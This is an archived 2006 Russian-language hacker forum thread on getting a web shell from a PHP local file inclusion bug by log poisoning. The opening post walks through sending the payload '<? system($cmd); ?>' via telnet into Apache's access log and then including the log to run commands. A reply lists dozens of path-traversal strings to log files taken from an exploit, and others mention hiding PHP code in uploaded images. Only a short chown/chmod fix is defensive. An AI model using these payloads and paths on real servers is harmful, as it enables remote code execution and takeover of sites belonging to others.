PDA

Просмотр полной версии : Локальный include как способ получть шелл


Goudini
01.09.2006, 18:12
Получение шела при локальном инклуде

Часто когда находится уязвимость локального инклуда, но паролей от базы данных нет, или есть, но к фтп не подошли, а база пускает только с localhost, дополнительные дыры в скриптах не найдены.... Казалось бы всё пропало, но если есть доступ к файлу журналов Веб-сервера access.log или error.log, можно получить шелл

Запускаем telnet localhost 80

GET <? system($cmd); ?>

Теперь в файле останется запись похожая не эту
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET <? system($cmd); ?>" 400 414

Как видите всё передалось в чистом виде.
Теперь если к основному скрипту подключить файл логов, то возможно он будет выполнен как php-код
Смотрим.. Вуаля
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET

Notice: Undefined variable: cmd in \usr\local\apache\logs\access.log on line 1
Warning: system(): Cannot execute a blank command in \usr\local\apache\logs\access.log on line 1

Можем выполнять команды.
Для решения данной уязвимости, нужно разрешить просмотр конфигурационных файлов только пользователю root

chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache

Utochka
01.09.2006, 18:16
интересная идея.
но мне кажется, что редко где файл log обрабатывается как .php

k1b0rg
01.09.2006, 20:43
да хоть расширение bmp будет, он его обработает как php код.

Действительно идея интересная, но как на практике она работает, хз.

max_pain89
01.09.2006, 21:06
способ стар как мир, просто мало о нем кто думает в первую очередь...

уже давно сплойты перебирают всевозможные локации логов.
http://securityreason.com/exploitalert/1100
$paths=array(
"../../../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../../../var/log/httpd/error_log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../../apache/logs/error.log",
"../../../../../../../../apache/logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../logs/error.log",
"../../../../../../../logs/access.log",
"../../../../../../../../logs/error.log",
"../../../../../../../../logs/access.log",
"../../../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../../../var/log/error_log"
);


часто есть права на чтение /etc/httpd/conf/httpd.conf или /etc/apache/conf/httpd.conf, ну или /etc/apache2/conf/httpd.conf


Парни не забываем, что если еррор лог (или акцесс) больше максимального размера (установленного в настройках пхп) то появится лишь ошибка класса warning

m0nzt3r
01.09.2006, 21:38
макс_пейн прав..взгляните на сплойты на милворме..особенно от ргод-а.Там тоже перебираюца логи, только у мя никогда не пахало(( много ждал.Почти весь массив перебирал))

Digimortal
20.09.2006, 01:18
Об этом способе получения шелла не так часто пишут, а в сплоитах он и правда время от времени встречается.
Несколько подробнее про это можно почитать, к примеру, в статье n4n0bit'а вот здесь: _http://hellknights.void.ru/articles/0x48k-phpinclandinjattacks.html

1ten0.0net1
22.09.2006, 14:35
Давно читал эту статью в papers на milworm.
P. S. 80% логи не доступны для чтения пользователю под которым запущен веб-сервер.

Sw%00p
22.09.2006, 21:35
ну одно и тоже если мы пихнём в картинку пхп код и зальём на сервак в галлерею к примеру и через локальный инклуд експлуатируем
а если обычно запускать ну конечно же он будет обрабатываться как обычная картинка или лог файл просто